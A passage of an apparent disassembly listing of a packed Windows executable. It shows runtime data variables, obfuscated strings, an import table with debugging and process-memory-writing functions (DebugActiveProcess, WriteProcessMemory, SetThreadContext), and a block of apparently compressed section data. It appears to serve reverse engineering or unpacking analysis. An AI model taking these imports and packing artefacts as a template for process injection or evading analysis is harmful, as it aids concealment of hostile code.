; __lseek_0+89w ...
dword_4F49D8 dd 0 ; DATA XREF: __lseek_0:loc_4CD348w
; __write_0+11Bw ...
align 10h
dword_4F49E0 dd 0A28h ; DATA XREF: start+52w
dword_4F49E4 dd 501h ; DATA XREF: start+49w
dword_4F49E8 dd 5 ; DATA XREF: start+3Ew
dword_4F49EC dd 1 ; DATA XREF: start+30w
dword_4F49F0 dd 1 ; DATA XREF: __setargv_0+91w
dword_4F49F4 dd 970B20h ; DATA XREF: __setargv_0+89w
dd 0
; void *dword_4F49FC
dword_4F49FC dd 970B48h ; DATA XREF: __setenvp_0+44w
; _getenv_0+9r ...
dword_4F4A00 dd 0 ; DATA XREF: ___crtsetenv_0+36r
dword_4F4A04 dd 0 ; DATA XREF: _getenv_0+16r
; ___wtomb_environ_0+4r ...
dd 0
off_4F4A0C dd offset aCM_unpackerP_0 ; DATA XREF: __setargv_0+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4F4A14 db 0 ; DATA XREF: _doexit_0+2Dw
; ___endstdio_0+5r
align 4
dword_4F4A18 dd 0 ; DATA XREF: _doexit_0+27w
dword_4F4A1C dd 0 ; DATA XREF: _doexit_0+4r
; _doexit_0+8Bw
dword_4F4A20 dd 0 ; DATA XREF: sub_4C935C+4r
; sub_4C935C+9w ...
align 8
dword_4F4A28 dd 0 ; DATA XREF: _time_0+5Er _time_0+A4w
align 10h
word_4F4A30 dw 0 ; DATA XREF: _time_0+55r _time_0+9Ao
word_4F4A32 dw 0 ; DATA XREF: _time_0+48r
db 2 dup(0)
word_4F4A36 dw 0 ; DATA XREF: _time_0+3Br
word_4F4A38 dw 0 ; DATA XREF: _time_0+2Er
word_4F4A3A dw 0 ; DATA XREF: _time_0+21r
align 10h
; char *dword_4F4A40
dword_4F4A40 dd 0 ; DATA XREF: start+84w
; __setenvp_0:loc_4CB783r ...
align 8
dword_4F4A48 dd 0 ; DATA XREF: __amsg_exit_0r
; _fast_error_exit_0r ...
align 10h
dword_4F4A50 dd 0 ; DATA XREF: __tzset_0+11w
; __tzset_0+63w ...
align 8
dword_4F4A58 dd 0 ; DATA XREF: __tzset_0+33o
; __tzset_0+46r
dword_4F4A5C dd 10h dup(0) ; DATA XREF: __tzset_0+C1o
word_4F4A9C dw 0 ; DATA XREF: __isindst_0+A8r
word_4F4A9E dw 0 ; DATA XREF: __tzset_0+54r
; __isindst_0+DBr ...
word_4F4AA0 dw 0 ; DATA XREF: __isindst_0+CAr
word_4F4AA2 dw 0 ; DATA XREF: __isindst_0+D3r
; __isindst_0:loc_4CB20Br
word_4F4AA4 dw 0 ; DATA XREF: __isindst_0+C0r
word_4F4AA6 dw 0 ; DATA XREF: __isindst_0+B8r
word_4F4AA8 dw 0 ; DATA XREF: __isindst_0+B0r
word_4F4AAA dw 0 ; DATA XREF: __isindst_0+9Er
dword_4F4AAC dd 0 ; DATA XREF: __tzset_0+4Br
dword_4F4AB0 dd 10h dup(0) ; DATA XREF: __tzset_0+FBo
word_4F4AF0 dw 0 ; DATA XREF: __isindst_0+46r
word_4F4AF2 dw 0 ; DATA XREF: __tzset_0:loc_4CAF32r
; __isindst_0+78r ...
word_4F4AF4 dw 0 ; DATA XREF: __isindst_0+67r
word_4F4AF6 dw 0 ; DATA XREF: __isindst_0+70r
; __isindst_0:loc_4CB19Dr
word_4F4AF8 dw 0 ; DATA XREF: __isindst_0+5Dr
word_4F4AFA dw 0 ; DATA XREF: __isindst_0+55r
word_4F4AFC dw 0 ; DATA XREF: __isindst_0+4Dr
word_4F4AFE dw 0 ; DATA XREF: __isindst_0+3Er
dword_4F4B00 dd 0 ; DATA XREF: __tzset_0+80r
; char *dword_4F4B04
dword_4F4B04 dd 0 ; DATA XREF: __tzset_0+132r
; __tzset_0:loc_4CB007r ...
dword_4F4B08 dd 0 ; DATA XREF: ___tzset_0r ___tzset_0+Ew
align 10h
dword_4F4B10 dd 0 ; DATA XREF: _gmtime+EBw _gmtime+F1o
dword_4F4B14 dd 0 ; DATA XREF: _gmtime+DAw
dword_4F4B18 dd 0 ; DATA XREF: _gmtime+C8w
dword_4F4B1C dd 0 ; DATA XREF: _gmtime+A4w
dword_4F4B20 dd 0 ; DATA XREF: _gmtime+98w
dword_4F4B24 dd 0 ; DATA XREF: _gmtime:loc_4CB4F3w
dword_4F4B28 dd 0 ; DATA XREF: _gmtime+BCw
dword_4F4B2C dd 0 ; DATA XREF: _gmtime+6Aw
dword_4F4B30 dd 0 ; DATA XREF: _gmtime+E4w
dword_4F4B34 dd 0 ; DATA XREF: __XcptFilter_0+3Ar
; __XcptFilter_0+46w ...
aCM_unpackerP_0 db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv_0:loc_4CB841o
; .data:off_4F4A0Co
align 4
dd 3Ah dup(0)
dword_4F4C3C dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA_0+2r
; ___crtGetEnvironmentStringsA_0+23w ...
dword_4F4C40 dd 0 ; DATA XREF: __FF_MSGBANNER_0+21r
dword_4F4C44 dd 0 ; DATA XREF: sub_4CA24A:loc_4CA2CAr
; _malloc_0r ...
dword_4F4C48 dd 0 ; DATA XREF: sub_4CCD93+4Bw
; sub_4CCEAC+2Dw ...
dword_4F4C4C dd 0 ; DATA XREF: __getbuf_0w
dword_4F4C50 dd 1 ; DATA XREF: ___crtGetStringTypeA_0+26r
; ___crtGetStringTypeA_0:loc_4CD7EFw
dword_4F4C54 dd 2 dup(0) ; DATA XREF: unknown_libname_20+Co
; __strnicmp+17o
; int dword_4F4C5C
dword_4F4C5C dd 0 ; DATA XREF: _wctomb_0:loc_4CD63Cr
; ___crtGetStringTypeA_0+7Br ...
dd 3 dup(0)
dword_4F4C6C dd 0 ; DATA XREF: __tzset_0+C7r
; __tzset_0+101r ...
dd 0
dword_4F4C74 dd 1 ; DATA XREF: __setmbcp_0:loc_4CDC59r
; _getSystemCP_0+4w ...
dword_4F4C78 dd 0 ; DATA XREF: ___crtMessageBoxA_0+3r
; ___crtMessageBoxA_0+2Ew ...
dword_4F4C7C dd 0 ; DATA XREF: ___crtMessageBoxA_0+43w
; ___crtMessageBoxA_0:loc_4CE1E7r
dword_4F4C80 dd 0 ; DATA XREF: ___crtMessageBoxA_0+4Aw
; ___crtMessageBoxA_0+60r
dword_4F4C84 dd 1 ; DATA XREF: ___crtLCMapStringA_0+28r
; ___crtLCMapStringA_0+4Cw ...
dword_4F4C88 dd 0 ; DATA XREF: ___crtCompareStringA_0+28r
; ___crtCompareStringA_0+48w ...
dword_4F4C8C dd 0 ; DATA XREF: ___crtLCMapStringW_0+28r
; ___crtLCMapStringW_0+4Cw ...
dword_4F4C90 dd 0 ; DATA XREF: ___crtGetStringTypeW_0+26r
; ___crtGetStringTypeW_0:loc_4CF6B7w
dword_4F4C94 dd 4E4h ; DATA XREF: __setmbcp_0+14r
; __setmbcp_0+65w ...
align 10h
dword_4F4CA0 dd 3 dup(0) ; DATA XREF: __setmbcp_0+123o
; __setmbcp_0+171o ...
dword_4F4CAC dd 0 ; DATA XREF: __setmbcp_0+108w
; __setmbcp_0+15Dw ...
dd 4 dup(0)
byte_4F4CC0 db 0 ; DATA XREF: _setSBUpLow_0:loc_4CDE29w
; _setSBUpLow_0:loc_4CDE46w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4F4DC0 db 0 ; DATA XREF: __setmbcp_0+5Co
; __setmbcp_0+AFo ...
byte_4F4DC1 db 0 ; DATA XREF: _parse_cmdline_0+3Fr
; _parse_cmdline_0+84r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4F4EC4 dd 0 ; DATA XREF: __setmbcp_0+6Ew
; __setmbcp_0+12Bw ...
dword_4F4EC8 dd 971110h ; DATA XREF: ___initstdio_0+28w
; ___initstdio_0+41w ...
dd 5 dup(0)
dword_4F4EE0 dd 400h dup(0) ; DATA XREF: .data:off_4F1780o
; .data:004F1788o
; size_t Size
Size dd 200h ; DATA XREF: ___initstdio_0r
; ___initstdio_0:loc_4CD591w ...
dword_4F5EE4 dd 0 ; DATA XREF: ___sbh_heap_init_0+3Cw
; ___sbh_alloc_new_region_0+5r ...
dword_4F5EE8 dd 0 ; DATA XREF: sub_4CC125+23Ar
; sub_4CC125+25Ar ...
dword_4F5EEC dd 0 ; DATA XREF: ___sbh_heap_init_0+31w
; sub_4CC125+311w ...
; void *dword_4F5EF0
dword_4F5EF0 dd 0 ; DATA XREF: ___sbh_heap_init_0+21w
; sub_4CC125+22Dr ...
dword_4F5EF4 dd 0 ; DATA XREF: ___sbh_heap_init_0+28w
; ___sbh_find_block_0r ...
dword_4F5EF8 dd 0 ; DATA XREF: ___sbh_heap_init_0+15w
; ___sbh_find_block_0+8r ...
dword_4F5EFC dd 0 ; DATA XREF: sub_4CA24A+35r
; sub_4CA3A2+Fr ...
dword_4F5F00 dd 970000h ; DATA XREF: sub_4CA24A+6Er
; sub_4CA2FB+5Ar ...
dword_4F5F04 dd 1 ; DATA XREF: sub_4CA24A+28r
; sub_4CA2FB+Cr ...
dd 3 dup(0)
dd 40E8CA98h, 0CACCD2D8h, 40CAC440h
dword_4F5F20 dd 970650h ; DATA XREF: __flsbuf_0+B1r
; __ioinit_0:loc_4CBBC9w ...
aS@@cF@UFc@@S@@ db 'èÒÌêØ@ØÒÖÊ@æêÚÚÊä@ÌØÞîÊäæ@ÂÜÈ@ÈÊÂèÐ@ØÒÖÊ@ÂêèêÚÜ@ØÊÂìÊæÊä@',0
; DATA XREF: __ioinit_0+92o
align 10h
dd 5 dup(0)
aVMhLl@aD db '‚ÚÂÈÒØØÞ\¬h\ll\@ êÄØÒÆ\„êÒÈ',0
dd 4 dup(0)
dd 0AA000000h, 0C6C2A0DCh, 40C8CA96h, 0C6C2E486h, 40C8CA96h
dd 7440F284h, 40404040h, 0E0CAE8E6h, 0E8DCCAD0h, 4040D0CAh
dd 0CC40404Ch, 4040F2D8h, 40404040h, 6E606064h, 5C64605Ch
dd 64406E62h, 60607468h, 0E0E0C290h, 606440F2h, 86406E60h
dd 0C2DCD2D0h, 0EECA9C40h, 0C2CAB240h, 4240E4h, 1000000h
dd 58A402F6h, 0BA011113h, 0CA159C55h, 70A8D378h, 3 dup(0)
dword_4F6020 dd 20h ; DATA XREF: __ioinit_0+26w
; __ioinit_0:loc_4CBC33r ...
dword_4F6024 dd 142340h ; DATA XREF: start+7Aw __wincmdln_0+Fr ...
dword_4F6028 dd 0 ; DATA XREF: sub_4C975E:loc_4C97BEw
; sub_4C975E+6Dw ...
dword_4F602C dd 0 ; DATA XREF: __expandtime+4Cw
; __expandtime+77w ...
dword_4F6030 dd 1 ; DATA XREF: __setenvp_0+ADw
; _getenv_0r
dword_4F6034 dd 1 ; DATA XREF: __wincmdln_0r
; __setenvp_0+3r ...
dword_4F6038 dd 0 ; DATA XREF: _doexit_0+3Er
dword_4F603C dd 0 ; DATA XREF: _doexit_0+35r
; _doexit_0+57r
dword_4F6040 dd 0 ; DATA XREF: __cinit_0r
dd 0F60C0h, 2 dup(0)
dd 0F6846h, 0ED02Ch, 0F6268h, 2 dup(0)
dd 0F6B2Ch, 0ED1D4h, 0F6094h, 2 dup(0)
dd 0F6BD4h, 0ED000h, 5 dup(0)
dd 0F6B38h, 0F6B56h, 0F6B68h, 0F6B78h, 0F6B84h, 0F6B94h
dd 0F6BA4h, 0F6BAEh, 0F6BBEh, 0F6B44h, 0
dd 0F63F8h, 0F6408h, 0F6418h, 0F6426h, 0F6434h, 0F6444h
dd 0F645Ah, 0F646Ah, 0F647Ch, 0F648Eh, 0F64A2h, 0F64B0h
dd 0F64C6h, 0F64DAh, 0F64F0h, 0F64FEh, 0F6518h, 0F652Ah
dd 0F653Ah, 0F654Ch, 0F655Ch, 0F656Ch, 0F657Ch, 0F6590h
dd 0F65A4h, 0F65B6h, 0F65C8h, 0F65DAh, 0F65F4h, 0F6604h
dd 0F661Ah, 0F662Ah, 0F6638h, 0F664Eh, 0F665Ah, 0F6668h
dd 0F6676h, 0F6682h, 0F6694h, 0F66A6h, 0F66B8h, 0F66CEh
dd 0F66E2h, 0F66F4h, 0F670Ah, 0F671Eh, 0F6732h, 0F63EAh
dd 0F6756h, 0F676Ch, 0F677Ch, 0F678Eh, 0F67A0h, 0F67B2h
dd 0F67C2h, 0F67D4h, 0F67E8h, 0F67FEh, 0F6812h, 0F6828h
dd 0F6836h, 0F6DF6h, 0F6DE2h, 0F6DD2h, 0F6DC2h, 0F6DB2h
dd 0F6DA6h, 0F6D9Ch, 0F6D90h, 0F6E08h, 0F6D7Eh, 0F6D6Ch
dd 0F6D56h, 0F6D44h, 0F6D36h, 0F6D2Ah, 0F6D1Ch, 0F6D0Eh
dd 0F6D00h, 0F6CF2h, 0F6CE2h, 0F6CD0h, 0F6CB6h, 0F6C9Eh
dd 0F6C84h, 0F6C6Ah, 0F6C4Eh, 0F6C42h, 0F6C36h, 0F6C28h
dd 0F6C18h, 0F6BFEh, 0F6BF2h, 0F6BDEh, 0F63E2h, 0F63CAh
dd 0F63B2h, 0F63A2h, 0F6386h, 0F6370h, 0F635Ah, 0F6346h
dd 0F6330h, 0F6746h, 0F631Ch, 0
dd 0F6B18h, 0F6B0Ah, 0F6AFEh, 0F6AEAh, 0F6ADEh, 0F6AD0h
dd 0F6AC2h, 0F6AB6h, 0F6AAAh, 0F6A96h, 0F6A82h, 0F6A76h
dd 0F6A64h, 0F6A56h, 0F6A38h, 0F6A2Ah, 0F6A1Ah, 0F6A0Ch
dd 0F69FEh, 0F69F0h, 0F69DCh, 0F69CCh, 0F69BEh, 0F69AEh
dd 0F699Ch, 0F698Ch, 0F697Ah, 0F696Ch, 0F695Ah, 0F6948h
dd 0F6936h, 0F6924h, 0F6908h, 0F68F8h, 0F68E8h, 0F68C4h
dd 0F68B0h, 0F68A2h, 0F6890h, 0F6880h, 0F6870h, 0F6860h
dd 0F6854h, 0F68D8h, 0
db 4Eh ; N
db 1, 47h, 65h
aTshortpathname db 'tShortPathNameA',0
db 24h ; $
db 1, 47h, 65h
aTmodulefilenam db 'tModuleFileNameA',0
align 2
dw 14Fh
aGetshortpathna db 'GetShortPathNameW',0
dw 125h
aGetmodulefilen db 'GetModuleFileNameW',0
align 10h
db 0F8h ; ø
align 2
aGetcurrentproc db 'GetCurrentProcessId',0
dw 1AAh
aInitializecrit db 'InitializeCriticalSection',0
dw 175h
aGetversionexa db 'GetVersionExA',0
dw 1C1h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
aF db 'f',0
aEntercriticals db 'EnterCriticalSection',0
align 2
dw 296h
aSleep db 'Sleep',0
db 1Bh,0
aClosehandle db 'CloseHandle',0
aJ_0 db 'J',0
aCreatethread db 'CreateThread',0
align 4
db 93h ; “
db 1, 47h, 6Ch
aObalunlock db 'obalUnlock',0
align 4
db 8Ch ; Œ
db 1, 47h, 6Ch
aOballock db 'obalLock',0
align 2
dw 181h
aGlobalalloc db 'GlobalAlloc',0
db 6Dh ; m
db 1, 47h, 65h
aTtickcount db 'tTickCount',0
align 4
db 0D2h ; Ò
db 2, 57h, 69h
aDechartomultib db 'deCharToMultiByte',0
dw 1B5h
aIsbadreadptr db 'IsBadReadPtr',0
align 2
dw 17Fh
aGlobaladdatoma db 'GlobalAddAtomA',0
align 4
db 80h ; €
db 1, 47h, 6Ch
aObaladdatomw db 'obalAddAtomW',0
align 2
dw 126h
aGetmodulehandl db 'GetModuleHandleA',0
align 2
dw 188h
aGlobalfree db 'GlobalFree',0
align 10h
db 89h ; ‰
db 1, 47h, 6Ch
aObalgetatomnam db 'obalGetAtomNameA',0
align 2
dw 183h
aGlobaldeleteat db 'GlobalDeleteAtom',0
align 2
dw 18Ah
aGlobalgetatomn db 'GlobalGetAtomNameW',0
align 10h
db '±',0
aFreeconsole db 'FreeConsole',0
dw 109h
aGetenvironment db 'GetEnvironmentVariableA',0
db 0C3h ; Ã
db 2, 56h, 69h
aRtualprotect db 'rtualProtect',0
align 2
dw 2BBh
aVirtualalloc db 'VirtualAlloc',0
align 2
dw 13Eh
aGetprocaddress db 'GetProcAddress',0
align 4
db 1Ah
db 1, 47h, 65h
aTlasterror db 'tLastError',0
align 4
db 0C2h ; Â
db 1, 4Ch, 6Fh
aAdlibrarya db 'adLibraryA',0
align 4
db 71h ; q
db 2, 53h, 65h
aTlasterror_0 db 'tLastError',0
align 4
db 87h ; ‡
db 2, 53h, 65h
aTthreadpriorit db 'tThreadPriority',0
dd 654700F9h, 72754374h, 746E6572h, 65726854h, 6461h, 72430044h
dd 65746165h, 636F7250h, 41737365h, 0CA0000h, 43746547h
dd 616D6D6Fh, 694C646Eh, 41656Eh, 65470150h, 61745374h
dd 70757472h, 6F666E49h, 2620041h
aSetenvironme_0 db 'SetEnvironmentVariableA',0
db 25h ; %
db 2, 52h, 65h
aLeasemutex db 'leaseMutex',0
align 4
db 0CEh ; Î
db 2, 57h, 61h
aItforsingleobj db 'itForSingleObject',0
a? db '?',0
aCreatemutexa db 'CreateMutexA',0
align 2
dw 1EDh
aOpenmutexa db 'OpenMutexA',0
align 4
db 0FAh ; ú
align 2
aGetcurrentthre db 'GetCurrentThreadId',0
align 2
dw 218h
aReadfile db 'ReadFile',0
align 2
dw 112h
aGetfilesize db 'GetFileSize',0
a4 db '4',0
aCreatefilea db 'CreateFileA',0
aR_0 db '',0
aFindclose db 'FindClose',0
aF_0 db '”',0
aFindfirstfilea db 'FindFirstFileA',0
align 4
aC_3 db '—',0
aFindfirstfilew db 'FindFirstFileW',0
align 2
dw 2C7h
aVirtualqueryex db 'VirtualQueryEx',0
align 4
db 0Bh
db 1, 47h, 65h
aTexitcodeproce db 'tExitCodeProcess',0
align 2
dw 21Ch
aReadprocessmem db 'ReadProcessMemory',0
dw 2B0h
aUnmapviewoffil db 'UnmapViewOfFile',0
db '%',0
aContinuedebuge db 'ContinueDebugEvent',0
align 2
dw 283h
aSetthreadconte db 'SetThreadContext',0
align 2
dw 167h
aGetthreadconte db 'GetThreadContext',0
align 2
dw 2CBh
aWaitfordebugev db 'WaitForDebugEvent',0
dw 298h
aSuspendthread db 'SuspendThread',0
aP_1 db 'P',0
aDebugactivepro db 'DebugActiveProcess',0
align 4
db 2Ch ; ,
db 2, 52h, 65h
aSumethread db 'sumeThread',0
align 4
aE_2 db 'E',0
aCreateprocessw db 'CreateProcessW',0
align 2
db 'Ë',0
aGetcommandline db 'GetCommandLineW',0
db 51h ; Q
db 1, 47h, 65h
aTstartupinfow db 'tStartupInfoW',0
dw 1D6h
aMapviewoffile db 'MapViewOfFile',0
aC_4 db 'c',0
aDuplicatehandl db 'DuplicateHandle',0
db 0F7h ; ÷
align 2
aGetcurrentpr_0 db 'GetCurrentProcess',0
a5 db '5',0
aCreatefilemapp db 'CreateFileMappingA',0
align 2
dw 2C4h
aVirtualprotect db 'VirtualProtectEx',0
align 2
dw 2E9h
aWriteprocessme db 'WriteProcessMemory',0
align 4
db '}',0
aExitprocess db 'ExitProcess',0
dw 11Bh
aGetlocaltime db 'GetLocalTime',0
align 2
aKernel32_dll_2 db 'KERNEL32.dll',0
align 4
db 8Fh ;
db 1, 49h, 73h
aWindow_0 db 'Window',0
align 10h
db 0DEh ; Þ
db 1, 50h, 6Fh
aStmessagea db 'stMessageA',0
align 10h
db 0DFh ; ß
db 1, 50h, 6Fh
aStmessagew db 'stMessageW',0
align 10h
db 0DAh ; Ú
db 1, 50h, 61h
aCkddelparam db 'ckDDElParam',0
db 91h ; ‘
db 1, 49h, 73h
aWindowunicode db 'WindowUnicode',0
db 'Ð',0
aEnumwindows db 'EnumWindows',0
db '•',0
aDispatchmessag db 'DispatchMessageA',0
align 4
db 82h ; ‚
db 2, 54h, 72h
aAnslatemessage db 'anslateMessage',0
align 4
db 0DCh ; Ü
db 1, 50h, 65h
aEkmessagea db 'ekMessageA',0
align 4
db 14h
db 2, 53h, 65h
aNdmessagea db 'ndMessageA',0
align 4
db 19h
db 2, 53h, 65h
aNdmessagew db 'ndMessageW',0
align 4
db 62h ; b
db 1, 47h, 65h
aTwindowthreadp db 'tWindowThreadProcessId',0
align 4
aY db 'Y',0
aCreatewindowex db 'CreateWindowExA',0
dw 1F2h
aRegisterclassa db 'RegisterClassA',0
align 4
aZ db 'Z',0
aCreatewindow_0 db 'CreateWindowExW',0
dw 1F5h
aRegisterclassw db 'RegisterClassW',0
align 4
db 9Ah ; š
db 1, 4Ch, 6Fh
aAdcursora db 'adCursorA',0
aD_1 db '„',0
aDefwindowproca db 'DefWindowProcA',0
align 4
db 'Ü',0
aFreeddelparam db 'FreeDDElParam',0
db 8Ah ; Š
db 2, 55h, 6Eh
aPackddelparam db 'packDDElParam',0
dw 16Fh
aInsendmessage db 'InSendMessage',0
dw 1BEh
aMessageboxa_1 db 'MessageBoxA',0
aO db 'Ž',0
aDestroywindo_0 db 'DestroyWindow',0
db 0A4h ; ¤
db 2, 57h, 61h
aItforinputidle db 'itForInputIdle',0
align 10h
db 'Õ',0
aFindwindowa_0 db 'FindWindowA',0
dw 1ACh
aLoadstringw db 'LoadStringW',0
db 0ABh ; «
db 1, 4Ch, 6Fh
aAdstringa db 'adStringA',0
dw 291h
aUpdatewindow db 'UpdateWindow',0
align 2
dw 26Ah
aShowwindow db 'ShowWindow',0
align 4
db 'L',0
aCreatedialogin db 'CreateDialogIndirectParamA',0
align 2
dw 102h
aGetdlgitem db 'GetDlgItem',0
align 4
dd 6553025Eh, 6E695774h, 54776F64h, 41747865h, 2520000h
dd 54746553h, 72656D69h, 1460000h, 53746547h, 65747379h
dd 74654D6Dh, 73636972h, 0E30000h, 41746547h, 636E7973h
dd 5379654Bh, 65746174h, 1950000h, 6C6C694Bh, 656D6954h
dd 0BB0072h, 50646E45h, 746E6961h, 0C0000h, 69676542h
dd 6961506Eh, 746Eh, 6547012Ah, 73654D74h, 65676173h, 13A0041h
dd 50746547h, 41706F72h, 0CD0000h
aEnumthreadwind db 'EnumThreadWindows',0
dw 242h
aSetpropa db 'SetPropA',0
align 2
dw 1C9h
aMovewindow db 'MoveWindow',0
align 4
dd 654700FFh, 73654474h, 706F746Bh, 646E6957h, 776Fh, 52455355h
dd 642E3233h, 6C6Ch, 65440050h, 6574656Ch, 4344h, 72430030h
dd 65746165h, 69424944h, 70616D74h, 1AC0000h, 6C616552h
dd 50657A69h, 74656C61h, 6574h, 655301C8h, 7463656Ch, 656C6150h
dd 657474h, 7243002Bh, 65746165h, 414344h, 72430042h, 65746165h
dd 656C6150h, 657474h, 65440053h, 6574656Ch, 656A624Fh
dd 7463h, 69420011h, 746C4274h, 1C70000h, 656C6553h, 624F7463h
dd 7463656Ah, 2A0000h
aCreatecompat_0 db 'CreateCompatibleDC',0
align 4
aGdi32_dll_0 db 'GDI32.dll',0
dw 29Eh
aTerminateproce db 'TerminateProcess',0
align 2
dw 22Fh
aRtlunwind db 'RtlUnwind',0
dw 170h
aGettimezoneinf db 'GetTimeZoneInformation',0
align 4
dd 6547015Dh, 73795374h, 546D6574h, 656D69h, 65470174h
dd 72655674h, 6E6F6973h, 1990000h, 70616548h, 6F6C6C41h
dd 19F0063h, 70616548h, 65657246h, 2AD0000h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 2
db '²',0
aFreeenvironmen db 'FreeEnvironmentStringsA',0
db '³',0
aFreeenvironm_0 db 'FreeEnvironmentStringsW',0
dw 106h
aGetenvironme_0 db 'GetEnvironmentStrings',0
dw 108h
aGetenvironme_1 db 'GetEnvironmentStringsW',0
align 10h
dd 6553026Dh, 6E614874h, 43656C64h, 746E756Fh, 1520000h
dd 53746547h, 61486474h, 656C646Eh, 1150000h, 46746547h
dd 54656C69h, 657079h, 6548019Dh, 65447061h, 6F727473h
dd 19B0079h, 70616548h, 61657243h, 6574h, 695602BFh, 61757472h
dd 6572466Ch, 2DF0065h, 74697257h, 6C694665h, 1A20065h
dd 70616548h, 6C416552h, 636F6Ch, 6553026Ah, 6C694674h
dd 696F5065h, 7265746Eh, 1E40000h
aMultibytetowid db 'MultiByteToWideChar',0
dd 65470153h, 72745374h, 54676E69h, 41657079h, 1560000h
dd 53746547h, 6E697274h, 70795467h, 5765h, 654700BFh, 49504374h
dd 6F666Eh, 654700B9h, 50434174h, 1310000h, 4F746547h
dd 50434D45h, 27C0000h, 53746553h, 61486474h, 656C646Eh
dd 1BF0000h, 614D434Ch, 72745370h, 41676E69h, 1C00000h
dd 614D434Ch, 72745370h, 57676E69h, 0AA0000h, 73756C46h
dd 6C694668h, 66754265h, 73726566h, 210000h, 706D6F43h
dd 53657261h, 6E697274h, 4167h, 6F430022h, 7261706Dh, 72745365h
dd 57676E69h, 398Bh dup(0)
db 2 dup(0)
word_505446 dw 0 ; DATA XREF: UPX0:off_4264D8o
dd 1EEEh dup(0)
_data ends
; Section 7. (virtual address 0010D000)
; Virtual size : 00040000 ( 262144.)
; Section size in file : 00040000 ( 262144.)
; Offset to raw data for section: 0010D000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_pdata segment para public 'DATA' use32
assume cs:_pdata
;org 50D000h
aPdata000_0 db 'PDATA000',0
db 2 dup(0), 0F0h
dd 0FFD70003h, 0DA780001h, 5C7FBDECh, 38F66554h, 32E6677Eh
dd 0C664605Ch, 0A2C2C542h, 0B545FB62h, 0A38944E4h, 9A20E685h
dd 9C1225D8h, 8956A84Ch, 3AB5FB66h, 3806DAE3h, 0B9728C3Ah
dd 32DDB35Eh, 7D87EDDDh, 76DAB6D2h, 3F57F2B3h, 0C05C41B4h
dd 0B4577F32h, 0F56B515Ah, 0A0A290D0h, 0CFDC8A0Ch, 83B9E739h
dd 0FDF76A3Fh, 0FDFFBEF9h, 0CFB94BC6h, 0E73CF38Fh, 0E79CE73Ch
dd 0EE79E73Ch, 77052E79h, 822C152Dh, 5FF08820h, 0A36105D7h
dd 85727FC0h, 61C7F9FFh, 8BE48412h, 0D6164DDFh, 0C97C7C26h
dd 8FA4D346h, 0E2B3B92Fh, 8FE9D981h, 0FEE47ACEh, 943EF759h
dd 1F7B9BFEh, 5F11F87Eh, 0D3337DFAh, 4E1FF967h, 0F4E1E07Fh
dd 0A517B771h, 8CC8F43Fh, 180DD799h, 0F4619890h, 63E6F4D1h
dd 1AEE0D7Fh, 0FFFB15D2h, 0AEB4D1C5h, 0DBA33C00h, 81AAEC2Fh
dd 687DB0A7h, 0B6787CD7h, 0B5D61CEFh, 1BE79E88h, 5AEB4F9h
dd 0A77AFCF0h, 0DB51A5D8h, 0EE1F5DC1h, 9F5D21Eh, 0BE8D6BE4h
dd 43FF08FEh, 2E08C39Dh, 0F5D699D4h, 7DC73C32h, 95F2903Ah
dd 0F3D3E71Dh, 537E078Eh, 31B1B081h, 98416EC9h, 8E138A64h
dd 8EEEDFCDh, 0C90AB595h, 0AC992497h, 0CE433090h, 0BFFB6544h
dd 1203B484h, 562661Dh, 8F9C1DA5h, 29FA7082h, 1C3912ECh
dd 0D73998FCh, 0BFA3BC8Ch, 0C1811F1Ch, 785EE116h, 0B309F36h
dd 1EF0B007h, 10C8A851h, 54B3FA7Eh, 0FBAF2A14h, 0B9CE107Fh
dd 1CA7403Fh, 0AFAB9FF7h, 0EB9CCDF3h, 779FE783h, 356AE31Bh
dd 0FB17D3F7h, 0AEAA0749h, 5EE3359Bh, 0F5FA101Fh, 0B3D8C6E5h
dd 0FFD079FAh, 7B93BA03h, 5613071Dh, 4AFC08DEh, 47BB0D07h
dd 0E1B3CFE0h, 9ACDD7C2h, 9037EB3Dh, 98C2B1A6h, 0E580BFA9h
dd 9ACDFDA7h, 23E0F9h, 79CD9A58h, 0E6BA0A40h, 0FF637027h
dd 0E5F99C17h, 5F9F97E7h, 0F9F97E7Eh, 9F97E7E5h, 0F97E7E5Fh
dd 97E7E5F9h, 7E7E5F9Fh, 0C5FFF9F9h, 0E294D14Fh, 0E187B512h
dd 69DD4AAEh, 32C1DF5Fh, 0BB0B548Dh, 363148C4h, 0DFF55204h
dd 659D4949h, 3EBEDBF0h, 730C749Ch, 0A7D3A58Dh, 47AB1435h
dd 7E94062Ah, 646FD265h, 0AE540297h, 0C23BCF73h, 0BAE2C7D7h
dd 0B8E3BC8Fh, 716F9A02h, 0EAAC51EEh, 0CEE3EE91h, 0ADF5A53Dh
dd 8691F752h, 0A17B6A29h, 0A88A96EAh, 7A8578BEh, 4FBBA4A4h
dd 1ED4DB75h, 4A6573F5h, 48CC0AEFh, 0DD15D1EAh, 0E2851ABAh
